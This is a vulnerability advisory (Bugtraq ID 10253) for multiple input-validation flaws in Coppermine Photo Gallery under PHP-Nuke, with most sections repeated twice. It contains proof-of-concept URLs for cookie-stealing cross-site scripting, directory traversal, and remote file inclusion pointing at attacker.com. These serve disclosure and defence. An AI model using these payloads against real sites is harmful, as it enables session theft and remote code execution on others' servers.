Coppermine Photo Gallery Multiple Input Validation Vulnerabilities
BID:10253
Info
Coppermine Photo Gallery Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 10253 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-1986 CVE-2004-1987 CVE-2004-1988 CVE-2004-1989 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 30 2004 12:00AM |
| Updated: | Jul 06 2016 02:40PM |
| Credit: | Disclosure of these issues is credited to Janek Vind <[email protected]>. |
| Vulnerable: |
Francisco Burzi PHP-Nuke 7.2 Francisco Burzi PHP-Nuke 7.1 Francisco Burzi PHP-Nuke 7.0 FINAL Francisco Burzi PHP-Nuke 7.0 Francisco Burzi PHP-Nuke 6.9 Coppermine Photo Gallery 1.2.2 b Coppermine Photo Gallery 1.2.1 Coppermine Photo Gallery 1.2 Coppermine Photo Gallery 1.1 beta 2 Coppermine Photo Gallery 1.1 .0 Coppermine Photo Gallery 1.0 RC3 |
| Not Vulnerable: | |
Discussion
Coppermine Photo Gallery Multiple Input Validation Vulnerabilities
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.
Exploit / POC
Coppermine Photo Gallery Multiple Input Validation Vulnerabilities
No exploits are required to leverage these issues. The following proof-of-concept exploits have been provided:
Cross-site scripting proof of concept:
http://www.example.com/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"><body%20onload=alert(document.cookie);>
Arbitrary directory browsing:
http://www.example.com/nuke72/modules.php?name=coppermine&file=searchnew&startdir=../..
Remote file include:
http://www.example.com/nuke69j1/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/default/theme.php?THEME_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/maze/theme.php?THEME_DIR=http://attacker.com
No exploits are required to leverage these issues. The following proof-of-concept exploits have been provided:
Cross-site scripting proof of concept:
http://www.example.com/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"><body%20onload=alert(document.cookie);>
Arbitrary directory browsing:
http://www.example.com/nuke72/modules.php?name=coppermine&file=searchnew&startdir=../..
Remote file include:
http://www.example.com/nuke69j1/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/default/theme.php?THEME_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/maze/theme.php?THEME_DIR=http://attacker.com
Solution / Fix
Coppermine Photo Gallery Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Coppermine Photo Gallery Multiple Input Validation Vulnerabilities
References:
References:
- Photo Gallery Homepage (Coppermine)
- [waraxe-2004-SA#026 - Multiple vulnerabilities in Coppermine (Janek Vind